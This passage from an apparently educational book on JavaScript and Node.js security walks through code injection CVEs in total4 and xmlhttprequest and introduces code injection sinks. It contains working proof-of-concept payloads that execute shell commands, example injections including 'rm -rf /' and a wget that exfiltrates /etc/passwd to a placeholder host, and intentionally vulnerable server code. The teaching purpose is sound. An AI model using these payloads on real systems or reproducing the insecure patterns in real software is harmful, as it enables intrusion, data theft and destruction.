In the last three lines ending this function’s code, the implementation reveals itself, and the arbitrary
code execution depicted by CVE-2021-23390 becomes clear:

var fn = new Function('w', 'a', 'b', a);

In the previous chapter about code injection in accesslog, identified as CVE-2022-25760, we’ve seen
how a library that introduced code back in 2012 has used an insecure practice of dynamically generating
JavaScript functions at runtime. This total4 codebase followed the same path of using the new
Function() API and made this decision in June 2020:

Figure 7. The git blame output for the total4 library of the utils.js file

NOTE

In the git blame output to the left, we notice that the total4 library has a history of fixing
security issues concerning code injection vulnerabilities stemming from Prototype Pollution.

4.2. Exploiting the vulnerability


How does one go about exploiting said vulnerability? The framework code for U.set() goes through

Chapter 4. CVE-2021-23390: Code injection in total4 | 45


cache checking for quick retrieval of data, parses the string path into an internal array structure, and
defines a function through the builder array.

When user input flows into the path variable, used to look up keys in an object, that input gets
concatenated into a dynamically built JavaScript function.

To see the vulnerability in practice, let’s ensure we’re running the vulnerable version of Total.js:

npm install --ignore-scripts --save-dev [email protected]

Create a JavaScript file such as app.js and apply the proof of concept exploit code that security
researcher Alessio Della Libera provided:

const total = require('total4');

U.set({}, 'a;let {mainModule}=process; let {require}=mainModule; let


{exec}=require("child_process"); exec("touch HACKED")//');

Run the code and observe a new file named HACKED created in the current working directory.

Let’s further analyze what happens with this exploit and why this specially crafted payload works well,
whereas other attempts would’ve failed.

Considering the following path is provided as input:

'a;let {mainModule}=process; let {require}=mainModule; let


{exec}=require("child_process"); exec("touch HACKED")//'

Here is the break-down:

1. This input flows into the U.set() function’s local path variable.

2. The code var arr = parsepath(path); splits up the user-provided input into an array, but
because the payload hadn’t used any specific characters that would’ve caused it to require splitting
into multiple array values, the end result is the following array state: arr [ 'a;let
{mainModule}=process; let {require}=mainModule; let
{exec}=require("child_process"); exec("touch HACKED")//']

3. The for-loop that generates JavaScript further into the builder variable to perform some type
checking is skipped entirely due to the exploit payload. This is helpful to evade the object property
check that it was supposed to do: builder.push('if(typeof(' + p + ')!==\'object\'||'
+ p + '==null)' + p + '=' + type + ';');

46 | Chapter 4. CVE-2021-23390: Code injection in total4


4. The original array arr value holding the supposedly split up path is assigned to the v variable: var v
= arr[arr.length - 1]; . At this point, v is a string that matches the exact original user-provided
input text, which makes a valid JavaScript code.

5. Lastly, the dynamically generated JavaScript function is composed into the a variable as follows: var
a = builder.join(';') + ';var v=typeof(a)===\'function\'?a(U.get(b)):a;w' +
(v[0] === '[' ? '' : '.') + (ispush ? v.replace(REGREPLACEARR, '.push(v)') :
(v + '=v')) + ';return v';

6. The user-provided input flows into this part of the a variable: (v + '=v')

7. The above-described function generates dynamic, runtime evaluated, JavaScript function code by
running: var fn = new Function('w', 'a', 'b', a);

The resulting function becomes:

function anonymous(w,a,b) {
;var v=typeof(a)==='function'?a(U.get(b)):a;w.a;let {mainModule}=process;
let {require}=mainModule; let {exec}=require("child_process"); exec("touch
HACKED")//=v;return v
}

4.3. About the fix


Upon disclosure and review of this vulnerability, the maintainer has opted to remove altogether and
dismiss this set of functions, which were found vulnerable:

========================
0.0.43
========================

- improved `flowinstance.newmessage(data)` method


- removed method `U.set()`
- removed method `U.get()`
- removed method `U.sync()` and `global.sync()`
- removed method `U.sync2()` and `global.sync2()`

Chapter 4. CVE-2021-23390: Code injection in total4 | 47


4.4. Lessons Learned
This vulnerability is another reminder of the security concerns that stem from using insecure APIs such
as new Function() . It also demonstrates how developers are employing such insecure APIs actively
and regularly, even by 2020.

Despite prior attempts to mitigate code injection concerns in the form of prototype pollution, this
vulnerability was still applicable until the disclosure and removal of insecure code.

4.4.1. KISS for security

The Keep It Simple, Stupid (KISS) principle is a design principle that states that most systems work best if
they are kept simple rather than made complicated.

How readable and maintainable is the following code snippet from the U.set() function?

var v = arr[arr.length - 1];


var ispush = v.lastIndexOf('[]') !== -1;
var a = builder.join(';') + ';var v=typeof(a)===\'function
\'?a(U.get(b)):a;w' + (v[0] === '[' ? '' : '.') + (ispush ? v.replace
(REGREPLACEARR, '.push(v)') : (v + '=v')) + ';return v';

Is it required or expected from a framework like Total.js to provide an object mutation utility such as its
U.set() and U.get() functions? In retrospect, the maintainer has decided to remove these functions
altogether in light of the security concerns.

4.4.2. Security by design

Using the new Function() API is a security concern and a practice that should be avoided. The
U.set() function is an excellent example of how a framework can introduce a security vulnerability
using this API.

Is dynamically generating JavaScript functions at runtime a good practice? Should the framework opt out
entirely from providing this capability and leave this API surface to developers?

A secure-by-design approach is complex, but it is often necessary and pays in the long run. It’s a practice
that should be embraced by the maintainers and developers and embrace a security-by-default mindset.

48 | Chapter 4. CVE-2021-23390: Code injection in total4


4.4.3. Vulnerability applicability

With the growing number of security reports developers have to deal with, it would be good to discuss
the applicability of this vulnerability and entertain the idea of whether this is a real-world concern.

The API surface of U.set(), in the exploit payload targeted by the researcher, is minimal. It builds upon
the assumption that the attacker controls the path variable, a particular and limited attack vector.
However, imagine a scenario where the path variable is concatenated with a user-controlled input, for
example, to create the path string for an address classification: U.set(obj, 'address.' +
userControlledInput, value) . in which the user-controlled input is business rather than home or
work.

Chapter 4. CVE-2021-23390: Code injection in total4 | 49


Chapter 5

CVE-2020-28502: Code injection in


xmlhttprequest

The xmlhttprequest npm package has existed in the ecosystem since 2011 and, as such, was attempting
to provide pioneer Node.js developers with their familiar browser counterpart functionality of the well-
known browser native XMLHttpRequest API. At the time, XMLHttpRequest, or XHR for short, was a
modern addition to the web. It allowed web applications to send HTTP requests without requiring a
complete page reload, which enabled seamless interactivity.

As such, its maintainer has described it as follows:

node-XMLHttpRequest is a wrapper for the built-in http client to emulate the


browser XMLHttpRequest object. This can be used with JS designed for
browsers to improve reuse of code and allow the use of existing libraries.

— Dan DeFelippi, maintainer of XMLHttpRequest

More than a decade after the first release of xmlhttprequest and with modern alternatives existing for
server-side Node.js HTTP requests, the library still averages over a million weekly downloads; it is also
used as a direct dependency for the top 5% of projects of Snyk user-base.

50 | Chapter 5. CVE-2020-28502: Code injection in xmlhttprequest


Figure 8. The xmlhttprequest npm package popularity and downloads count

Considering the last release is [email protected] and is dated back to October 11th, 2015, this is
quite a concerning statistic. There are currently 37 open pull requests, and it will not be surprising if
none of them ever get merged. What happens if a security vulnerability is discovered?

5.1. About the vulnerability


According to Snyk vulnerability database, which was the first to report a code injection vulnerability in
xmlhttprequest on March 5th, 2021, all versions before 1.7.0 are vulnerable and include a proof-of-
concept code, which is also public information and allows attackers to take an offensive approach and
weaponize an exploit to attack applications that use this vulnerable version as a dependency.

This arbitrary code injection vulnerability scored as CVSS 8.1 and was identified as CVE-2020-28502,
which requires a specific use scenario of the vulnerable library’s API.

The following is a typical usage pattern for this library, one that instantiates a new XMLHttpRequest
object, sets a GET request to a URL, and sends the request.

const xhr = require('xmlhttprequest');

const XMLHttpRequest = xhr.XMLHttpRequest;


const request = new XMLHttpRequest();

request.open('GET', "https://example.com", true);

Chapter 5. CVE-2020-28502: Code injection in xmlhttprequest | 51


request.send();

Looks straightforward. What is that third boolean parameter passed to request.open() ?

Well, xmlhttprequest supports both asynchronous and synchronous HTTP calls. Wait, what? Yes, you
read that correctly. Let’s look at how this library manages synchronous HTTP calls by inspecting the
relevant source code:

lib/XMLHttpRequest.js

} else { // Synchronous
// Create a temporary file for communication with the other Node
process
var contentFile = ".node-xmlhttprequest-content-" + process.pid;
var syncFile = ".node-xmlhttprequest-sync-" + process.pid;
fs.writeFileSync(syncFile, "", "utf8");
// The async request the other Node process executes
var execString = "var http = require('http'), https = require('https'),
fs = require('fs');"
+ "var doRequest = http" + (ssl ? "s" : "") + ".request;"
+ "var options = " + JSON.stringify(options) + ";"
+ "var responseText = '';"
+ "var req = doRequest(options, function(response) {"
+ "response.setEncoding('utf8');"
+ "response.on('data', function(chunk) {"
+ " responseText += chunk;"
+ "});"
+ "response.on('end', function() {"
+ "fs.writeFileSync('" + contentFile + "', 'NODE-XMLHTTPREQUEST-
STATUS:' + response.statusCode + ',' + responseText, 'utf8');"
+ "fs.unlinkSync('" + syncFile + "');"
+ "});"
+ "response.on('error', function(error) {"
+ "fs.writeFileSync('" + contentFile + "', 'NODE-XMLHTTPREQUEST-
ERROR:' + JSON.stringify(error), 'utf8');"
+ "fs.unlinkSync('" + syncFile + "');"
+ "});"
+ "}).on('error', function(error) {"
+ "fs.writeFileSync('" + contentFile + "', 'NODE-XMLHTTPREQUEST-
ERROR:' + JSON.stringify(error), 'utf8');"
+ "fs.unlinkSync('" + syncFile + "');"
+ "});"
+ (data ? "req.write('" + data.replace(/'/g, "\\'") + "');":"")
+ "req.end();";
// Start the other Node Process, executing this string
var syncProc = spawn(process.argv[0], ["-e", execString]);

52 | Chapter 5. CVE-2020-28502: Code injection in xmlhttprequest


var statusText;
while(fs.existsSync(syncFile)) {
// Wait while the sync file is empty
}
self.responseText = fs.readFileSync(contentFile, 'utf8');
// Kill the child process once the file has data
syncProc.stdin.end();
// Remove the temporary file
fs.unlinkSync(contentFile);
if (self.responseText.match(/^NODE-XMLHTTPREQUEST-ERROR:/)) {
// If the file returned an error, handle it
var errorObj = self.responseText.replace(/^NODE-XMLHTTPREQUEST-
ERROR:/, "");
self.handleError(errorObj);
} else {
// If the file returned okay, parse its data and move to the DONE
state
self.status = self.responseText.replace(/^NODE-XMLHTTPREQUEST-
STATUS:([0-9]*),.*/, "$1");
self.responseText = self.responseText.replace(/^NODE-XMLHTTPREQUEST-
STATUS:[0-9]*,(.*)/, "$1");
setState(self.DONE);
}
}

Before we dive into the mechanics here, can you tell where the code injection vulnerability is introduced?

Let’s break this down:

1. A Node.js code snippet that performs an HTTP request is written to a file.

2. The Child Process API spawns a new Node.js process with the file as source.

3. The main thread waits on a while() loop until another file, used as an auxiliary mechanism,
communicates the status of when the spawned process finished processing the request.

4. Error handling, processing, and cleanup are performed for the above-described synchronous HTTP
requests mechanism.

Ignoring the intricacies of the above code, let’s draw our attention to the specific lines of code that
integrate user input into the source code. This happens in line 480 of lib/XMLHttpRequest.js:

+ (data ? "req.write('" + data.replace(/'/g, "\\'") + "');":"")

The data variable is the data payload that gets passed to the xhr.send() function. This will typically be
empty for GET requests, but for a POST request, this is the data payload to be sent within the body of an

Chapter 5. CVE-2020-28502: Code injection in xmlhttprequest | 53


HTTP request.

NOTE

We can learn about sending a data payload through XMLHttpRequest.send() documentation,



which mentions one of the following data types passed as an optional argument to the function:
“An XMLHttpRequestBodyInit, which per the Fetch spec can be a Blob, an ArrayBuffer, a
TypedArray, a DataView, a FormData, a URLSearchParams, or a string literal or object.

For example, when the content-type header of a request gets set to application/x-www-form-
urlencoded, then the following function call shows how data gets sent in an HTTP request:

xhr.send("foo=bar&lorem=ipsum");

Let’s reflect on the vulnerable line of code that concatenates potential user input into the req.write()
snippet. This input gets evaluated as part of the spawned Node.js process. You’ll notice that this line of
code concatenates the data after sanitizing it (data.replace(/'/g, "\\'") ). That’s the security
measure initially added by the maintainer. If it were missing, then user payload of simply including a
single quote ( ') will close the string to req.write() and allow them to inject any code. And so this type
of input sanitization in the form of a regular expression replaces any single quote with an escape
declaration ( \') to mitigate that concern.

However, the regular expression? It needs to be more precisely bulletproof, and that’s where the security
vulnerability lies. Specifically, one such vulnerability allows JavaScript code injection to be easily
controlled by user input if not handled before flowing into the sensitive API (that we often refer to as the
sink)

5.2. Exploiting the vulnerability


Reproducing a local development environment with a vulnerable version of xmlhttprequest:

npm init -y
npm install --save --ignore-scripts [email protected]

Note that we are installing the xmlhttprequest library at version 1.6.0, which is vulnerable to the
CVE-2020-28502 security vulnerability, and not the latest version of this package.

Continue to create a new app.js file, which we will the following into:

54 | Chapter 5. CVE-2020-28502: Code injection in xmlhttprequest


app.js

const { XMLHttpRequest } = require("xmlhttprequest") ❶

const xhr = new XMLHttpRequest(); ❷


xhr.open( ❸
"POST",
"https:///example.com/",
false /* use synchronize request */
);

xhr.send("\\');require(\"fs\").writeFileSync(\"/tmp/aaaaa.txt\", \"poc-
20210306\");req.end();//") ❹

Let’s explain what is going on there:

❶ imports the XMLHttpRequest object.


❷ instantiates a new request object.
❸ this is where the application logic will issue a synchronous POST HTTP request (notice the 3rd
parameter to xhr.open() is set to false).

❹ the data passed to xhr.send() simulates the case in which it originates from user input, entirely or
in part.

The user input here being the string: \\' is essentially creating another \ character that creates a
different escaping sequence. Instead of the single quote ( ') getting escaped, the backslash ( \) character
is getting escaped.

Run the above code as simple as node app.js and observe that a new file /tmp/aaaaa.txt exists on
the file system. This proof-of-concept example demonstrates that the user can control the input passed
into the body of a synchronous HTTP request. They can inject JavaScript code that runs server-side on a
dedicated Node.js process.

We can work on a more straightforward example if you need clarification on why the above exploit
works. Consider the following code:

1 const userData = "');console.log(1);//"


2 const userDataSanitized = userData.replace(/'/g, "\\'");
3 const log = "console.log('" + userDataSanitized + "');";
4 eval(log)

This code simulates a case where a user provided a string to be added to the console.log() function.
This code snippet, in turn, runs the code that the log variable holds. You can copy that into JSFiddle or a
local JavaScript file and run it in the browser or a Node.js process. The output will be the following:

Chapter 5. CVE-2020-28502: Code injection in xmlhttprequest | 55


"');console.log(1);//"

The userData attempted to inject code that terminates the opening single quote for the console.log
and adds a semicolon to concatenate its own code, just a benign console.log("something").
However, that didn’t work, and evaluating the code successfully generated just the one string output
from the console.log() function.

Let’s now update the user input to include the double \\ backslash characters before the single quote:

const userData = "\\');console.log(1);//"

Now, the output of running our small example reference should be as follows:

"\"
1

Calling out that there are two different output lines here: . A hard-coded console.log() in the original
log variable. . A log line that the user introduced to log the number 1.

5.3. Reviewing the fix


The vulnerable code was fixed by this commit already back on July 19th, 2013. However, it wasn’t until
two years later, when the maintainer released a new minor version to the public npm registry on January
9th, 2015, that the security fix was available to consumers.

The following Git diff shows the applied fix:

480 - + (data ? "req.write('" + data.replace(/'/g, "\\'") + "');":"")


480 + + (data ? "req.write('" + JSON.stringify(data).slice(1,-
1).replace(/'/g, "\\'") + "');":"")

The data.replace() sanitization logic has been replaced with other data processing in the form of a
JSON.stringify() function preceding it, and following that, a string function to clean the escaped \
characters from the edges of the string (as that’s how JSON.stringify() returns the result).

56 | Chapter 5. CVE-2020-28502: Code injection in xmlhttprequest


5.4. Lessons Learned
Several takeaways we can learn from this security vulnerability spanning both high-level dependency
management impacting open source security, as well as technical considerations for handling user input:

1. A significant delay may be introduced between when a security fix hits the source code and when it
is available to downstream consumers to upgrade to an official patch release. In the
xmlhttprequest library, this gap lasted roughly two years.

2. Forking a library requires developers to be up-to-date with its security releases. As such, we witness
how developers who have forked the xmlhttprequest project needed to introduce a manual fix for
the CVE-2020-28502 security vulnerability to their copy of the library. They’ve also done so at about a
six-and-a-half-year delay, after which the security fix was officially published and made available.

3. Avoid concatenating user input into code that gets evaluated dynamically. This practice is challenging
and error-prone even when you think you’ve tested all permutations that lead to it.

4. Maintaining a deny-list in the form of a regular expression sanitization logic or other means is often
not beneficial as you have to know in advance all the forms and shapes an input can take. In the case
of the xmlhttprequest library, an attacker could easily bypass the regular expression sanitization
logic by supplying user input that includes a double backslash (\\) before the single quote ( ').

Chapter 5. CVE-2020-28502: Code injection in xmlhttprequest | 57


Chapter 6

Weaponizing Code Injection

In this chapter, we take on an offensive security perspective to explore the various code injection
vulnerabilities that attackers exploit in JavaScript, Node.js, and Browser APIs.

Through a series of practical examples, code snippets, and hands-on exploitation scenarios of popular
packages in the npm ecosystem, this chapter will provide you with a deep understanding of the anatomy
of code injection attacks, the different types of code injection payloads, and how attackers can exploit
code injection vulnerabilities to execute arbitrary code, escalate privileges, and compromise the security
of JavaScript web applications.

Learnings

By the end of this chapter, you will have gained thorough knowledge of code injection attack vectors
in Node.js and JavaScript as a whole and will be able to answer the following questions:

• What are the different types of code injection sinks in JavaScript, Node.js, and Browser APIs?

• Which types of DevTools and practices can lead to code injection vulnerabilities?

• Should you use JavaScript sandboxes to run untrusted code as an alternative to eval() and
Function()?

• Can code injection vulnerabilities lead to Cross-site Scripting vulnerabilities?

• How can JavaScipt code serialization and deserialization practically lead to code injection
vulnerabilities?

58 | Chapter 6. Weaponizing Code Injection


6.1. Code Injection Sinks
In the context of secure coding and code injection vulnerabilities, a sink is a point in the program where
user input is processed or used in a potentially insecure way. It represents a code path or operation that
could lead to a security vulnerability if the user input is not correctly validated, sanitized, or matched
with adequate security control.

This section explores the various types of code injection sinks on the API surface of JavaScript, Node.js,
and Browser APIs. When developers use these APIs to execute dynamic code and evaluate user input,
they often become the source of code injection vulnerabilities.

6.1.1. Dynamic Code with eval()

The eval() function is a global function in JavaScript that evaluates a string of JavaScript code in the
context of the current execution scope. It is a powerful but dangerous function that can lead to code
injection vulnerabilities with untrusted user input. Here’s a typical and simplified example of how
eval() can be used to execute arbitrary code:

const userInput = "console.log('Hello World!')";


eval(userInput);
// Output: Hello World!

The eval() function takes input from a string of JavaScript code. It executes it in the current scope,
which means that the code has access to all variables and functions in the surrounding context and is
not confined to an isolated scope of the eval() function itself.

NOTE

More often than none, there should be no reason to use eval(), unless you are working with a
trusted source of code that you want to execute dynamically due to a specific requirement that
has been thoroughly vetted, validated, reviewed by security practitioners, and undergone a
threat modeling exercise.

Some production use-case scenarios for eval() include:



1. Implementing a JavaScript REPL (Read-Eval-Print Loop) or a code playground.

2. Implementing a dynamic code execution environment such as building a FaaS (Function as a


Service) platform.

3. DevTools such as template engines, transpilers, and code generators that require dynamic
code evaluation.

Chapter 6. Weaponizing Code Injection | 59


In the context of Node.js and modern server-side JavaScript applications, the use of eval() is
particularly dangerous because it can execute arbitrary code in the context of the Node.js runtime,
leading to code injection vulnerabilities and potential system compromise with a scope that extends to
the server environment, and escalates to the operating system level.

The subsequent sections of this chapter will examine diverse code injection payloads that attackers
leverage to exploit code injection vulnerabilities in Node.js applications. However, to illustrate the
potential risks, the following examples depict the types of malicious input that attackers could inject into
the eval() function when developers pass user-supplied data to it without proper validation:

1. eval(process.exit(1)): Terminates the Node.js process.

2. eval(require('child_process').exec('rm -rf /')) : Executes a shell command to delete all


files on the system.

3. eval(require('child_process').exec('wget+--post-
data+"x=$(cat+/etc/passwd)"+HOST')) - Executes a shell command to download the
/etc/passwd file from the server and send it to a remote host.

4. eval(while(1));: Creates an infinite loop that consumes CPU resources and causes a Denial of
Service (DoS) condition.

6.1.2. Dynamic Code with the Function() Constructor

The Function() constructor provides a way to evaluate a string of JavaScript code bounded to the
function scope defined by the Function constructor in the context of the current execution scope. It is
similar to eval() but allows for more fine-grained control over the execution scope.

Here’s a typical example of how new Function() can be used to execute arbitrary code by building a
function, its arguments, and its body based on string input:

// Define a function that generates and executes arbitrary code


function executeCode(functionBody, ...args) {
try {
// Create a new function from the provided function body and arguments
const dynamicFunction = new Function(...args, functionBody);

// Execute the dynamic function with the provided arguments


const result = dynamicFunction(...args);

// Return the result of the executed function


return result;
} catch (error) {
console.error('Error executing code:', error);
return null;

60 | Chapter 6. Weaponizing Code Injection


}
}

// Example usage
const codeBody = 'return args[0] + args[1];';
const result = executeCode(codeBody, 2, 3);
console.log(result);
// Output: 5

const userInput = 'process.exit(1);';


// Results in terminating the Node.js process
executeCode(userInput);

In this example, we define a function executeCode that takes a functionBody string and an arbitrary
number of arguments (…args). Inside the function, we use new Function(…args, functionBody) to
create a new function dynamically, passing the provided arguments and function body as separate
parameters.

The dynamically created function is then executed with the provided arguments using
dynamicFunction(…args), and the result is returned or handled accordingly.

The example demonstrates two different use cases:

1. Executing a simple arithmetic operation: We pass the function body 'return args[0] +
args[1];' and the arguments 2 and 3 to executeCode. The dynamically created function adds the
two arguments and returns the result: 5.

2. Executing code that terminates the process: We pass the function body 'process.exit(1);' to
executeCode. This code terminates the Node.js process and is an example of how attackers can
exploit the Function() constructor to execute arbitrary code.

Unlike eval(), the use of Function() is sometimes considered less dangerous because it creates a
new function scope that is isolated from the surrounding context and is often cited as a safer alternative
to eval() to assert whether a given JavaScript code is valid syntax. What does it mean exactly?

Developers may use the Function() constructor to dynamically create functions from untrusted input,
such as user-provided code snippets, and rely on a try/catch block to test for syntax errors. Using the
Function() constructor may instill a false sense of security because attackers can still exploit this
practice even though the code isn’t dynamically executed. The security risk is introduced due to the
attacker’s ability to destabilize the application’s runtime behavior and trigger out-of-memory conditions,
infinite loops, or other Denial of Service (DoS) attacks. Denial of Service and other resource exhaustion
attacks may happen when the attacker can inject complicated code that exploits parsing and execution
errors or limitations in the JavaScript engine.

Let’s consider the following example:

Chapter 6. Weaponizing Code Injection | 61


const largeInput = "x = ".repeat(1000000) + "1";

try {
const func = new Function(largeInput);
// Executing func() here could cause excessive memory consumption due to
the large input string
} catch (err) {
console.error("Error creating function:", err);
}

Running this code will produce the following results on a typical MacBook Pro M1 MAX with 32GB of RAM
and Node.js v21.7.1:

$ node function-ex2.js
Error creating function: RangeError: Maximum call stack size exceeded
at new Function (<anonymous>)
at Object.<anonymous> (~/function-ex2.js:4:16)
at Module._compile (node:internal/modules/cjs/loader:1368:14)
at Module._extensions..js (node:internal/modules/cjs/loader:1426:10)
at Module.load (node:internal/modules/cjs/loader:1205:32)
at Module._load (node:internal/modules/cjs/loader:1021:12)
at Function.executeUserEntryPoint [as runMain]
(node:internal/modules/run_main:142:12)
at node:internal/main/run_main_module:28:49

The reason the Node.js process crashes is because the V8 JavaScript engine considers the RangeError:
Maximum call stack size exceeded an unrecoverable error that happens when the engine
attempts to parse and compile the extremely large input string represented by largeInput . This
process involves recursively building the Abstract Syntax Tree (AST) for the code, and the size and
complexity of the large input string (1,000,000 repetitions of "x = " ) cause the parsing and compilation
process to exceed the maximum call stack size limit within the V8 engine. This results in the error being
thrown by the V8 engine, and it terminates the execution of the Node.js program before the error can be
caught by the Node.js runtime’s uncaughtException event handler.

This behavior suggests a design decision made by the V8 and Node.js teams to prioritize the stability and
reliability of the overall runtime environment. Terminating the process when the V8 engine encounters
an unrecoverable error prevents the program from entering an unknown or potentially unsafe state,
which could lead to further issues or even security vulnerabilities.

Judging the prior code example, the largeInput string is not entirely provided by user input but instead
constructed in the code itself. It’s helpful to demonstrate the security shortcomings of the Function()
constructor and their implications on runtime availability and stability. Still, can an attacker exhaust the
memory of a Node.js application in a similar way by providing raw user input?

62 | Chapter 6. Weaponizing Code Injection


To test this hypothesis, we write a helper function that generates a nested string of function calls, where
each function returns the following nested function:

function createNestedString(depth, maxDepth) {


if (depth === maxDepth) {
return "1";
}
return `(function() { return ${createNestedString(depth + 1, maxDepth)};
})`;
}

const maxDepth = 500;


const userInput = createNestedString(0, maxDepth);

We can then pass the userInput string to the Function() constructor:

try {
const func = new Function(userInput);
} catch (err) {
console.error("Error creating function:", err);
}

Running this Node.js code will produce the same RangeError: Maximum call stack size
exceeded error as before and terminate the Node.js process. This demonstrates how an attacker could
craft a payload that exhausts the memory of a Node.js application by injecting a large input string that
causes the V8 engine to crash or consume excessive memory.

NOTE

If we were to also log the length of the userInput string, we would find that it is made up of
12,501 characters, which is 12.5kb in size.

In the next chapter, we will explore how to mitigate code injection vulnerabilities in Node.js
applications and discuss best practices and security controls that developers can implement,
such as code size restrictions, to prevent attackers from exploiting the Function() constructor
to exhaust the memory of a Node.js application.

Chapter 6. Weaponizing Code Injection | 63


6.1.3. The Timers Family: setTimeout(), setInterval() &
setImmediate()

Timers in JavaScript provide a way to schedule code execution after an unavoidable delay or at regular
intervals.

Timer functions such as setTimeout() are not part of the core JavaScript language specification but
rather a feature of the browser’s Web APIs and server-side JavaScript runtimes like Node.js that
implement them.

Depending on the execution environment, these functions have a different vulnerability surface and
impact. For example, in the browser, setTimeout() and setInterval() accept a string literal as the
first argument for evaluating the JavaScript code, unlike in Node.js where a function reference is
expected.

Here’s an example of how setTimeout() can be used to execute arbitrary code in a browser
environment:

function executeCode(code) {
try {
setTimeout(code, 1000); ❶
} catch (error) {
console.error('Error executing code:', error);
}
}

executeCode('console.log("Hello, World!");');

const maliciousCode = 'window.open("https://example.com");';


executeCode(maliciousCode); ❷

executeCode('document.body.innerHTML = "<h1>Arbitrary DOM


Modification</h1>";'); ❸

❶ Use setTimeout to create a separate execution context and execute the provided code after a delay
of 1000 milliseconds.

❷ Opens a new window pointing to https://example.com. This is an example of a browser-specific use


of setTimeout to execute arbitrary code.

❸ An example of how attackers may inject code that access global objects to modify the DOM or
perform other malicious actions.

While the above example and references demonstrated code injection in the browser environment using
setTimeout, the attack vector is slightly different in Node.js. In a server-side JavaScript runtime
environment, like Node.js, timer functions do not accept string literals as input. Instead, they expect a

64 | Chapter 6. Weaponizing Code Injection


function reference or a function expression.

However, that is not to say timer functions in Node.js are immune to code injection vulnerabilities.

In Node.js, developers may perform code serialization and deserialization so that function expression is
created and passed to these timers. Additionally, developers may dynamically construct a function using
the Function constructor and then pass it to the timers. This practice can lead to code injection
vulnerabilities if the function construction or deserialization process involves untrusted input.

Consider a scenario where you have a Node.js application that allows users to schedule tasks or cron
jobs. The application might provide an interface for users to specify the task logic and the schedule for
execution. In such a case, the application might serialize the task logic (function) and schedule it for
execution using one of the timer functions (setTimeout, setImmediate, or setInterval).

Here’s an example of how this could be implemented:

const fastify = require('fastify')();


const app = fastify;

const scheduledTasks = [];

app.post('/tasks/schedules', async (request, reply) => {


const taskLogic = request.body.taskLogic;
const schedule = request.body.schedule;

try {
// Construct a function from the user-provided task logic
// then schedule the task for execution and store the timer ID
const taskFunction = new Function(taskLogic);
const timerId = setInterval(taskFunction, schedule);
scheduledTasks.push({ timerId, taskLogic });

reply.send('Task scheduled successfully');


} catch (err) {
reply.code(500).send('Error scheduling task');
}
});

const start = async () => {


try {
await app.listen({ port: 3000 });
} catch (err) {
console.error(err);
process.exit(1);
}

Chapter 6. Weaponizing Code Injection | 65


};

start();

In this example, a Fastify server allows users to schedule tasks using a /tasks/schedules endpoint.
The request body contains the taskLogic (a string representing the function code) and the schedule
(the interval at which the system executes the task).

When the server receives a request to schedule a task, it constructs a new function using new
Function(taskLogic). This dynamically created function is then scheduled for execution using
setInterval(taskFunction, schedule) . The scheduledTasks keeps track of the scheduled task
and timer ID.

We can further extend the example to include an endpoint /cancel-task/:id to cancel a scheduled
task by its timer ID:

app.delete('/tasks/schedules/:id', async (request, reply) => {


const taskId = request.params.id;
const task = scheduledTasks.find(t => t.timerId === parseInt(taskId));

if (task) {
clearInterval(task.timerId);
reply.send('Task canceled successfully');
} else {
reply.code(404).send('Task not found');
}
});

If an attacker can control the taskLogic input, they can potentially inject malicious code that gets
executed based on the configured schedule. For example, if an attacker sends a request with
taskLogic set to console.log('arrakis02'), the server will log the message "arrakis02"
respectively based on the specified schedule.

66 | Chapter 6. Weaponizing Code Injection


NOTE

The process.nextTick() function in Node.js is similar to the timer functions regarding


potential code injection vulnerabilities. While it also doesn’t accept a string literal as input,
developers may use it to dynamically construct a function from untrusted input and pass it for
runtime execution.

For example:

// Construct a function from the user-provided code
const userFunction = new Function(userInput);

// Queue the user-provided function for execution


process.nextTick(userFunction);

6.1.4. Module Loading with require()

In Node.js, developers use the require() function to load modules or files in Node.js applications, and
it supports various types of paths, including relative paths, absolute paths, and module names.

The code injection vulnerability can arise when the require() function is used with dynamically
constructed paths or module names that include untrusted input without proper validation and
sanitization.

In the following example, we explore how a developer may utilize the require() function to implement
internationalization (i18n) support by loading JSON files per the user’s language preferences passed as a
query parameter.

const fastify = require('fastify')();


const app = fastify;
const path = require('path');
const fs = require('fs');
const ejs = require('ejs');

const I18N_DIR = path.join(__dirname, 'i18n');


app.register(require('@fastify/view'), {
engine: {
ejs: ejs,
},
});

Chapter 6. Weaponizing Code Injection | 67


app.get('/dashboard', async (request, reply) => {
const language = request.query.lang;
const languageFilePath = path.resolve(
I18N_DIR, `${language}.json`
);

if (validateFilePath(filePath)) {
const languageData = require(languageFilePath);

reply.view('/templates/dashboard.ejs', {
totalCustomers: languageData['total_customers'],
});
}
});

In this example, the server receives a request to the /dashboard route with a lang query parameter
that specifies the user’s language preference. The server constructs the path to the corresponding
language file using path.resolve(I18N_DIR, `${language}.json ) , and the language data
is then loaded using `require(languageFilePath) and passed to the view template for
rendering.

The server does not use the language file path argument in the require() function without passing first
through validation logic that tests the validity of the file path. The validateFilePath() function
ensures that the file path points to a valid language file in the i18n directory.

The validateFilePath function implements the following security guardrails to ensure that the file
path is resolved to a language file and not to an arbitrary file on disk:

function validateFilePath(filePath) {
const filenameExtension = /\.json$/;
if (!filenameExtension.test(filePath)) {
return false
}

return true;
}

Next, we can examine how the template file templates/dashboard.ejs contains a placeholder for the
total number of customers, which is populated with the total_customers value from the language
data:

<!DOCTYPE html>

68 | Chapter 6. Weaponizing Code Injection


<html>
<head>
<title>Dashboard</title>
</head>
<body>
<h1>Dashboard</h1>
<p><%= totalCustomers %></p>
</body>
</html>

When a user visits the /dashboard route with a lang query parameter such as
http://localhost:3000/dashboard?lang=en the application will load the corresponding language
file from the i18n directory (e.g., i18n/en.json) and render the templates/dashboard.ejs view
with the translated string for "Total customers" taken from the loaded language data.

NOTE

Now is an excellent opportunity to assess your security mindset and attention to detail
concerning insecure coding conventions. Can you spot the potential code injection vulnerability in
the code example above?

Before proceeding, take a moment to review the code above and identify any areas that might be
introducing a security risk.

Do your best to reason about the security implications and answer the following questions:

1. What if the route did not construct a language file path and directly passed the lang query
parameter to the require() function?

2. What if the route did not implement a validation function for the languageFilePath?

3. Is the languageFilePath constructed securely?

4. Is the validateFilePath() function sufficient to prevent security vulnerabilities?

5. What are the potential security implications of the require(languageFilePath) function


call?

6. How can an attacker exploit the code to inject arbitrary code?

The code example is riddled with insecure coding practices that can lead to several types of security
